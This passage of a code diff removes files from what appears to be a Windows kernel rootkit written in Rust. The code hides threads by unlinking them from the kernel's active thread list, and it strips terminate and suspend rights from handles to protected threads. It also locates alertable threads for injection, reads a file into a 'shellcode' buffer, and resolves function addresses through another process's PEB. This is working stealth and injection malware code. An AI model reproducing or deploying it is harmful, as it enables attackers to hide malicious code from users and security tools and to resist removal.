_registration_context: *mut core::ffi::c_void,
|
||||
info: *mut OB_PRE_OPERATION_INFORMATION,
|
||||
) -> Type {
|
||||
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
|
||||
return OB_PREOP_SUCCESS;
|
||||
}
|
||||
|
||||
let thread = (*info).Object as PETHREAD;
|
||||
let tid = PsGetThreadId(thread) as usize;
|
||||
let tids = TARGET_TIDS.lock();
|
||||
|
||||
if tids.contains(&tid) {
|
||||
let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT);
|
||||
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
||||
}
|
||||
|
||||
OB_PREOP_SUCCESS
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,210 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
wdk_sys::{ntddk::*, *},
|
||||
spin::{mutex::Mutex, lazy::Lazy},
|
||||
common::structs::TargetThread,
|
||||
crate::{
|
||||
error::ShadowError,
|
||||
lock::with_push_lock_exclusive,
|
||||
offsets::{
|
||||
get_thread_list_entry_offset,
|
||||
get_thread_lock_offset
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
pub mod callback;
|
||||
pub use callback::*;
|
||||
|
||||
const MAX_TID: usize = 100;
|
||||
|
||||
/// List of target threads protected by a mutex.
|
||||
pub static THREAD_INFO_HIDE: Lazy<Mutex<Vec<TargetThread>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID)));
|
||||
|
||||
/// Represents a thread in the operating system.
|
||||
///
|
||||
/// The `Thread` struct provides a safe abstraction over the `ETHREAD` structure used
|
||||
/// in Windows kernel development. It allows for looking up a thread by its TID and ensures
|
||||
/// proper cleanup of resources when the structure goes out of scope.
|
||||
pub struct Thread {
|
||||
/// Pointer to the ETHREAD structure, used for managing thread information.
|
||||
pub e_thread: PETHREAD,
|
||||
}
|
||||
|
||||
impl Thread {
|
||||
/// Creates a new `Thread` instance by looking up a thread by its TID.
|
||||
///
|
||||
/// This method attempts to find a thread using its thread identifier (TID). If the thread
|
||||
/// is found, it returns an instance of the `Thread` structure containing a pointer to the
|
||||
/// `ETHREAD` structure.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `tid` - The thread identifier (TID) of the thread to be looked up.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(Self)` - Returns a `Thread` instance if the thread lookup is successful.
|
||||
/// * `Err(ShadowError)` - Returns an error message if the lookup fails.
|
||||
///
|
||||
/// # Examples
|
||||
///
|
||||
/// ```rust
|
||||
/// let thread = Thread::new(1234);
|
||||
/// match thread {
|
||||
/// Ok(thre) => println!("Thread found: {:?}", thre.e_thread),
|
||||
/// Err(e) => println!("Error: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
#[inline]
|
||||
pub fn new(tid: usize) -> Result<Self, ShadowError> {
|
||||
let mut thread = core::ptr::null_mut();
|
||||
|
||||
let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut thread) };
|
||||
if NT_SUCCESS(status) {
|
||||
Ok(Self { e_thread: thread })
|
||||
} else {
|
||||
Err(ShadowError::ApiCallFailed("PsLookupThreadByThreadId", status))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope.
|
||||
///
|
||||
/// The `Drop` implementation ensures that the reference count on the `ETHREAD` structure
|
||||
/// is properly decremented when the `Thread` instance is dropped. This prevents resource leaks.
|
||||
impl Drop for Thread {
|
||||
/// Cleans up the resources held by the `Thread` structure.
|
||||
///
|
||||
/// This method decrements the reference count of the `ETHREAD` structure when the
|
||||
/// `Thread` instance is dropped, ensuring proper cleanup.
|
||||
fn drop(&mut self) {
|
||||
if !self.e_thread.is_null() {
|
||||
unsafe { ObfDereferenceObject(self.e_thread as _) };
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Thread {
|
||||
/// Hides a thread by removing it from the active thread list in the operating system.
|
||||
///
|
||||
/// This method hides a thread by unlinking it from the active thread list (`LIST_ENTRY`) in the OS.
|
||||
/// It uses synchronization locks to ensure thread safety while modifying the list. Once the thread is hidden,
|
||||
/// it is no longer visible in the system's active thread chain.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `tid` - The thread identifier (TID) of the target thread to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring threads
|
||||
/// in the list before it was modified.
|
||||
/// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue.
|
||||
pub unsafe fn hide_thread(tid: usize) -> Result<LIST_ENTRY, ShadowError> {
|
||||
// Getting offsets based on the Windows build number
|
||||
let active_thread_link = get_thread_list_entry_offset();
|
||||
let offset_lock = get_thread_lock_offset();
|
||||
|
||||
// Retrieving ETHREAD from the target thread
|
||||
let thread = Self::new(tid)?;
|
||||
|
||||
// Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread
|
||||
// to the list of active threads in the system.
|
||||
let current = thread.e_thread.cast::<u8>().offset(active_thread_link) as PLIST_ENTRY;
|
||||
let push_lock = thread.e_thread.cast::<u8>().offset(offset_lock) as *mut u64;
|
||||
|
||||
// Use synchronization to ensure thread safety while modifying the list
|
||||
with_push_lock_exclusive(push_lock, || {
|
||||
// The next thread in the chain
|
||||
let next = (*current).Flink;
|
||||
|
||||
// The previous thread in the chain
|
||||
let previous = (*current).Blink;
|
||||
|
||||
// Storing the previous list entry, which will be returned
|
||||
let previous_link = LIST_ENTRY {
|
||||
Flink: next as *mut LIST_ENTRY,
|
||||
Blink: previous as *mut LIST_ENTRY,
|
||||
};
|
||||
|
||||
// Unlink the thread from the active list
|
||||
(*next).Blink = previous;
|
||||
(*previous).Flink = next;
|
||||
|
||||
// Make the current list entry point to itself to hide the thread
|
||||
(*current).Flink = current;
|
||||
(*current).Blink = current;
|
||||
|
||||
Ok(previous_link)
|
||||
})
|
||||
}
|
||||
|
||||
/// Unhides a thread by restoring it to the active thread list in the operating system.
|
||||
///
|
||||
/// This method restores a previously hidden thread back into the active thread list by re-linking
|
||||
/// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent threads in the list. The function
|
||||
/// uses synchronization locks to ensure thread safety while modifying the list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `tid` - The thread identifier (TID) of the target thread to be unhidden.
|
||||
/// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring threads in the list,
|
||||
/// which was saved when the thread was hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - Indicates the thread was successfully restored to the active list.
|
||||
/// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue.
|
||||
pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> Result<NTSTATUS, ShadowError> {
|
||||
// Getting offsets based on the Windows build number
|
||||
let active_thread_link = get_thread_list_entry_offset();
|
||||
let offset_lock = get_thread_lock_offset();
|
||||
|
||||
// Retrieving ETHREAD from the target thread
|
||||
let thread = Self::new(tid)?;
|
||||
|
||||
// Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread
|
||||
// to the list of active threads in the system.
|
||||
let current = thread.e_thread.cast::<u8>().offset(active_thread_link) as PLIST_ENTRY;
|
||||
let push_lock = thread.e_thread.cast::<u8>().offset(offset_lock) as *mut u64;
|
||||
|
||||
// Use synchronization to ensure thread safety while modifying the list
|
||||
with_push_lock_exclusive(push_lock, || {
|
||||
// Restore the `Flink` and `Blink` from the saved `list_entry`
|
||||
(*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY;
|
||||
(*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY;
|
||||
|
||||
// Re-link the process to the neighboring processes in the chain
|
||||
let next = (*current).Flink;
|
||||
let previous = (*current).Blink;
|
||||
|
||||
(*next).Blink = current;
|
||||
(*previous).Flink = current;
|
||||
});
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Enumerates all currently hidden threads.
|
||||
///
|
||||
/// This function iterates through the list of hidden threads stored in `THREAD_INFO_HIDE` and returns
|
||||
/// a vector containing their information.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A vector containing the information of all hidden threads.
|
||||
pub unsafe fn enumerate_hide_threads() -> Vec<TargetThread> {
|
||||
let mut threads: Vec<TargetThread> = Vec::new();
|
||||
let thread_info = THREAD_INFO_HIDE.lock();
|
||||
for i in thread_info.iter() {
|
||||
threads.push(TargetThread {
|
||||
tid: (*i).tid as usize,
|
||||
..Default::default()
|
||||
});
|
||||
}
|
||||
|
||||
threads
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,106 +0,0 @@
|
||||
use {
|
||||
super::pool::PoolMemory,
|
||||
alloc::string::ToString,
|
||||
winapi::um::winnt::RtlZeroMemory,
|
||||
wdk_sys::{POOL_FLAG_NON_PAGED, NT_SUCCESS},
|
||||
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
|
||||
ntapi::{
|
||||
ntexapi::SystemModuleInformation,
|
||||
ntzwapi::ZwQuerySystemInformation
|
||||
},
|
||||
winapi::um::winnt::{
|
||||
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||
IMAGE_NT_HEADERS64,
|
||||
}
|
||||
};
|
||||
|
||||
use crate::{
|
||||
error::ShadowError,
|
||||
SystemModuleInformation
|
||||
};
|
||||
|
||||
/// Gets the base address of a specified module by querying system module information.
|
||||
/// This function queries the system for all loaded modules and compares their names
|
||||
/// to the provided module name to find the base address.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module_name` - A string slice containing the name of the module to locate.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut c_void)` - A pointer to the base address of the module if found.
|
||||
/// * `Err(ShadowError)` - If the module is not found or an error occurs during execution.
|
||||
pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void, ShadowError> {
|
||||
// Initial call to ZwQuerySystemInformation to get the required buffer size for system module info
|
||||
let mut return_bytes = 0;
|
||||
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
||||
|
||||
// Allocates non-paged pool memory to store system module information
|
||||
let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx"))
|
||||
.map(|mem| mem.ptr as *mut SystemModuleInformation) // Converts to the appropriate type
|
||||
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||
|
||||
// Clears the allocated memory to ensure no garbage data is present
|
||||
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
|
||||
|
||||
// Retrieves the actual system module information
|
||||
let status = ZwQuerySystemInformation(
|
||||
SystemModuleInformation,
|
||||
info_module as *mut winapi::ctypes::c_void,
|
||||
return_bytes,
|
||||
&mut return_bytes
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status))
|
||||
}
|
||||
|
||||
// Iterates over the list of modules to find the one that matches the provided name
|
||||
let module_count = (*info_module).ModuleCount;
|
||||
for i in 0..module_count as usize {
|
||||
let name = (*info_module).Modules[i].ImageName;
|
||||
let module_base = (*info_module).Modules[i].ImageBase as *mut c_void;
|
||||
if let Ok(name_str) = core::str::from_utf8(&name) {
|
||||
if name_str.contains(module_name) {
|
||||
return Ok(module_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If the module is not found, return an error
|
||||
Err(ShadowError::FunctionExecutionFailed("get_module_base_address", line!()))
|
||||
}
|
||||
|
||||
/// Gets the address of a specified function within a module.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `function_name` - A string slice containing the name of the function.
|
||||
/// * `dll_base` - A pointer to the base address of the DLL.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Option<*mut c_void>` - An optional pointer to the function's address, or None if the function is not found.
|
||||
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Result<*mut c_void, ShadowError> {
|
||||
let dos_header = dll_base as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as usize {
|
||||
let name = CStr::from_ptr((dll_base as usize + names[i] as usize) as *const i8)
|
||||
.to_str()
|
||||
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
|
||||
|
||||
let ordinal = ordinals[i] as usize;
|
||||
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
|
||||
if name == function_name {
|
||||
return Ok(address);
|
||||
}
|
||||
}
|
||||
|
||||
Err(ShadowError::FunctionNotFound(function_name.to_string()))
|
||||
}
|
||||
@@ -1,122 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
crate::error::ShadowError,
|
||||
core::{ffi::c_void, ptr::null_mut},
|
||||
super::{handle::Handle, InitializeObjectAttributes},
|
||||
wdk_sys::{
|
||||
*,
|
||||
ntddk::*,
|
||||
_FILE_INFORMATION_CLASS::FileStandardInformation
|
||||
},
|
||||
};
|
||||
|
||||
/// Reads the content of a file given its path in the NT kernel environment.
|
||||
///
|
||||
/// This function opens a file specified by the given path, reads its content,
|
||||
/// and returns the data as a vector of bytes. It uses the `ZwCreateFile` function
|
||||
/// to open the file and `ZwReadFile` to read its content. The path is automatically
|
||||
/// converted to NT format (e.g., `\\??\\C:\\path\\to\\file`).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `path` - A string slice representing the path to the file. The path should follow
|
||||
/// the standard Windows format (e.g., `C:\\path\\to\\file`).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(Vec<u8>)` - A vector containing the file's content as bytes if the file is successfully opened and read.
|
||||
/// * `Err(ShadowError)` - If an error occurs during:
|
||||
/// - Opening the file (`ZwCreateFile` failure),
|
||||
/// - Querying file information (`ZwQueryInformationFile` failure),
|
||||
/// - Reading the file (`ZwReadFile` failure).
|
||||
pub fn read_file(path: &str) -> Result<Vec<u8>, ShadowError> {
|
||||
// Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file")
|
||||
let path_nt = alloc::format!("\\??\\{}", path);
|
||||
|
||||
// Converts the NT path to a Unicode string
|
||||
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
|
||||
|
||||
// Initializes the object attributes for opening the file, including setting
|
||||
// it as case insensitive and kernel-handled
|
||||
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { core::mem::zeroed() };
|
||||
let mut obj_attr = InitializeObjectAttributes(
|
||||
Some(&mut file_name.to_unicode()),
|
||||
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
|
||||
None,
|
||||
None,
|
||||
None
|
||||
);
|
||||
|
||||
// Opens the file using ZwCreateFile with read permissions
|
||||
let mut h_file: HANDLE = null_mut();
|
||||
let mut status = unsafe {
|
||||
ZwCreateFile(
|
||||
&mut h_file,
|
||||
GENERIC_READ,
|
||||
&mut obj_attr,
|
||||
&mut io_status_block,
|
||||
null_mut(),
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
FILE_OPEN,
|
||||
FILE_SYNCHRONOUS_IO_NONALERT,
|
||||
null_mut(),
|
||||
0,
|
||||
)
|
||||
};
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwCreateFile", status));
|
||||
}
|
||||
|
||||
// Wrap the file handle in a safe Handle type
|
||||
let h_file = Handle::new(h_file);
|
||||
|
||||
// Placeholder for storing file information (e.g., size)
|
||||
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { core::mem::zeroed() };
|
||||
|
||||
// Queries file information, such as its size, using ZwQueryInformationFile
|
||||
status = unsafe {
|
||||
ZwQueryInformationFile(
|
||||
h_file.get(),
|
||||
&mut io_status_block,
|
||||
&mut file_info as *mut _ as *mut c_void,
|
||||
size_of::<FILE_STANDARD_INFORMATION>() as u32,
|
||||
FileStandardInformation
|
||||
)
|
||||
};
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwQueryInformationFile", status));
|
||||
}
|
||||
|
||||
// Retrieves the file size from the queried file information
|
||||
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
|
||||
|
||||
// Initializes the byte offset to 0 for reading from the beginning of the file
|
||||
let mut byte_offset: LARGE_INTEGER = unsafe { core::mem::zeroed() };
|
||||
byte_offset.QuadPart = 0;
|
||||
|
||||
// Reads the file content into the buffer using ZwReadFile
|
||||
let mut shellcode = alloc::vec![0u8; file_size];
|
||||
status = unsafe {
|
||||
ZwReadFile(
|
||||
h_file.get(),
|
||||
null_mut(),
|
||||
None,
|
||||
null_mut(),
|
||||
&mut io_status_block,
|
||||
shellcode.as_mut_ptr() as *mut c_void,
|
||||
file_size as u32,
|
||||
&mut byte_offset,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwReadFile", status));
|
||||
}
|
||||
|
||||
// Returns the file content as a vector of bytes if everything succeeds
|
||||
Ok(shellcode)
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
use wdk_sys::{ntddk::ZwClose, HANDLE};
|
||||
|
||||
/// A wrapper around a Windows `HANDLE` that automatically closes the handle when dropped.
|
||||
///
|
||||
/// This struct provides a safe abstraction over raw Windows handles, ensuring that the
|
||||
/// handle is properly closed when it goes out of scope, by calling `ZwClose` in its `Drop`
|
||||
/// implementation.
|
||||
pub struct Handle(HANDLE);
|
||||
|
||||
impl Handle {
|
||||
/// Creates a new `Handle` instance.
|
||||
///
|
||||
/// This function wraps a raw Windows `HANDLE` inside the `Handle` struct.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `handle` - A raw Windows `HANDLE` to wrap.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns a new `Handle` instance that encapsulates the provided raw `HANDLE`.
|
||||
#[inline]
|
||||
pub fn new(handle: HANDLE) -> Self {
|
||||
Handle(handle)
|
||||
}
|
||||
|
||||
/// Returns the raw `HANDLE`.
|
||||
///
|
||||
/// This function provides access to the underlying Windows handle
|
||||
/// stored in the `Handle` struct.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns the raw Windows `HANDLE` encapsulated in the `Handle` struct.
|
||||
#[inline]
|
||||
pub fn get(&self) -> HANDLE {
|
||||
self.0
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for Handle {
|
||||
/// Automatically closes the `HANDLE` when the `Handle` instance is dropped.
|
||||
///
|
||||
/// When the `Handle` goes out of scope, this method is called to ensure that
|
||||
/// the underlying Windows handle is closed using the `ZwClose` function, unless
|
||||
/// the handle is null.
|
||||
fn drop(&mut self) {
|
||||
if !self.0.is_null() {
|
||||
unsafe {
|
||||
ZwClose(self.0);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
use wdk_sys::ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx};
|
||||
|
||||
/// Generic function that performs the operation with the lock already acquired.
|
||||
/// It will acquire the lock exclusively and guarantee its release after use.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `push_lock` - Pointer to the lock to be acquired.
|
||||
/// * `operation` - The operation to be performed while the lock is active.
|
||||
pub fn with_push_lock_exclusive<T, F>(push_lock: *mut u64, operation: F) -> T
|
||||
where
|
||||
F: FnOnce() -> T,
|
||||
{
|
||||
unsafe {
|
||||
// Get the lock exclusively
|
||||
ExAcquirePushLockExclusiveEx(push_lock, 0);
|
||||
}
|
||||
|
||||
// Performs the operation while the lock is active
|
||||
let result = operation();
|
||||
|
||||
unsafe {
|
||||
// Releases the lock after the operation
|
||||
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
@@ -1,331 +0,0 @@
|
||||
use {
|
||||
wdk_sys::{*, ntddk::*},
|
||||
alloc::string::{ToString, String},
|
||||
core::{
|
||||
ffi::{c_void, CStr},
|
||||
slice::from_raw_parts,
|
||||
ptr::{null_mut, read_unaligned},
|
||||
},
|
||||
ntapi::{
|
||||
ntpebteb::PEB,
|
||||
ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
ntzwapi::ZwQuerySystemInformation,
|
||||
ntexapi::{
|
||||
SystemProcessInformation,
|
||||
PSYSTEM_PROCESS_INFORMATION
|
||||
},
|
||||
},
|
||||
winapi::um::winnt::{
|
||||
IMAGE_DOS_HEADER,
|
||||
IMAGE_NT_HEADERS64,
|
||||
IMAGE_EXPORT_DIRECTORY,
|
||||
}
|
||||
};
|
||||
|
||||
use crate::{
|
||||
*,
|
||||
pool::PoolMemory,
|
||||
error::ShadowError,
|
||||
process_attach::ProcessAttach
|
||||
};
|
||||
|
||||
pub mod uni;
|
||||
pub mod lock;
|
||||
pub mod patterns;
|
||||
pub mod address;
|
||||
pub mod pool;
|
||||
pub mod handle;
|
||||
pub mod file;
|
||||
pub mod process_attach;
|
||||
|
||||
/// Find a thread with an alertable status for the given process (PID).
|
||||
///
|
||||
/// This function queries the system for all threads associated with the specified process.
|
||||
/// It checks whether each thread meets specific conditions (e.g., non-terminating and alertable)
|
||||
/// and returns the `KTHREAD` pointer if such a thread is found.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target_pid` - The process identifier (PID) for which to find an alertable thread.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut _KTHREAD)` - A pointer to the `KTHREAD` of the found alertable thread.
|
||||
/// * `Err(ShadowError)` - If no suitable thread is found or an error occurs during the search.
|
||||
pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD, ShadowError> {
|
||||
// Initial call to get the necessary buffer size for system process information
|
||||
let mut return_bytes = 0;
|
||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||
|
||||
// Allocate memory to store process information
|
||||
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied"))
|
||||
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
|
||||
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||
|
||||
// Query system information to get process and thread data
|
||||
let status = ZwQuerySystemInformation(
|
||||
SystemProcessInformation,
|
||||
info_process as *mut winapi::ctypes::c_void,
|
||||
return_bytes,
|
||||
&mut return_bytes,
|
||||
);
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
|
||||
}
|
||||
|
||||
// Iterate over process information to find the target PID and alertable thread
|
||||
let mut process_info = info_process;
|
||||
while (*process_info).NextEntryOffset != 0 {
|
||||
let pid = (*process_info).UniqueProcessId as usize;
|
||||
if pid == target_pid {
|
||||
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
|
||||
for &thread in threads_slice {
|
||||
let thread_id = thread.ClientId.UniqueThread as usize;
|
||||
let target_thread = if let Ok(thread) = Thread::new(thread_id) { thread } else { continue };
|
||||
|
||||
if PsIsThreadTerminating(target_thread.e_thread) == 1 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let is_alertable = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x74) as *const u64) & 0x10;
|
||||
let is_gui_thread = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x78) as *const u64) & 0x80;
|
||||
let thread_kernel_stack = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x58) as *const u64);
|
||||
let thread_context_stack = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x268) as *const u64);
|
||||
|
||||
if is_alertable == 0 && is_gui_thread != 0 && thread_kernel_stack == 0 && thread_context_stack == 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
return Ok(target_thread.e_thread)
|
||||
}
|
||||
}
|
||||
|
||||
if (*process_info).NextEntryOffset == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||
}
|
||||
|
||||
Err(ShadowError::FunctionExecutionFailed("find_thread_alertable", line!()))
|
||||
}
|
||||
|
||||
/// Retrieves the address of a function within a specific module loaded in a process's PEB.
|
||||
///
|
||||
/// This function locates the specified module (DLL) in the process's PEB and searches for
|
||||
/// the requested function within the module's export table. It returns the address of the
|
||||
/// function if found.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the target process.
|
||||
/// * `module_name` - The name of the module (e.g., DLL) to search for.
|
||||
/// * `function_name` - The name of the function to locate within the module.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut c_void)` - A pointer to the function's address if found.
|
||||
/// * `Err(ShadowError)` - If the function or module is not found, or an error occurs during execution.
|
||||
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Result<*mut c_void, ShadowError> {
|
||||
// Attach to the target process and access its PEB
|
||||
let target = Process::new(pid)?;
|
||||
ProcessAttach::new(target.e_process);
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
|
||||
}
|
||||
|
||||
// Traverse the InLoadOrderModuleList to find the module
|
||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||
|
||||
while next != current {
|
||||
if next.is_null() {
|
||||
return Err(ShadowError::NullPointer("next LIST_ENTRY"));
|
||||
}
|
||||
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY"));
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*list_entry).FullDllName.Buffer,
|
||||
((*list_entry).FullDllName.Length / 2) as usize,
|
||||
);
|
||||
if buffer.is_empty() {
|
||||
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
|
||||
}
|
||||
|
||||
// Check if the module name matches
|
||||
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
||||
if dll_name.to_lowercase().contains(module_name) {
|
||||
let dll_base = (*list_entry).DllBase as usize;
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
// Search for the function by name in the export table
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8)
|
||||
.to_str()
|
||||
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
|
||||
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||
if name_module == function_name {
|
||||
return Ok(address);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
Err(ShadowError::ModuleNotFound(module_name.to_string()))
|
||||
}
|
||||
|
||||
|
||||
/// Retrieves the PID of a process by its name.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `process_name` - A string slice containing the name of the process.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Option<usize>` - An optional containing the PID of the process, or None if the process is not found.
|
||||
pub unsafe fn get_process_by_name(process_name: &str) -> Result<usize, ShadowError> {
|
||||
|
||||
let mut return_bytes = 0;
|
||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||
|
||||
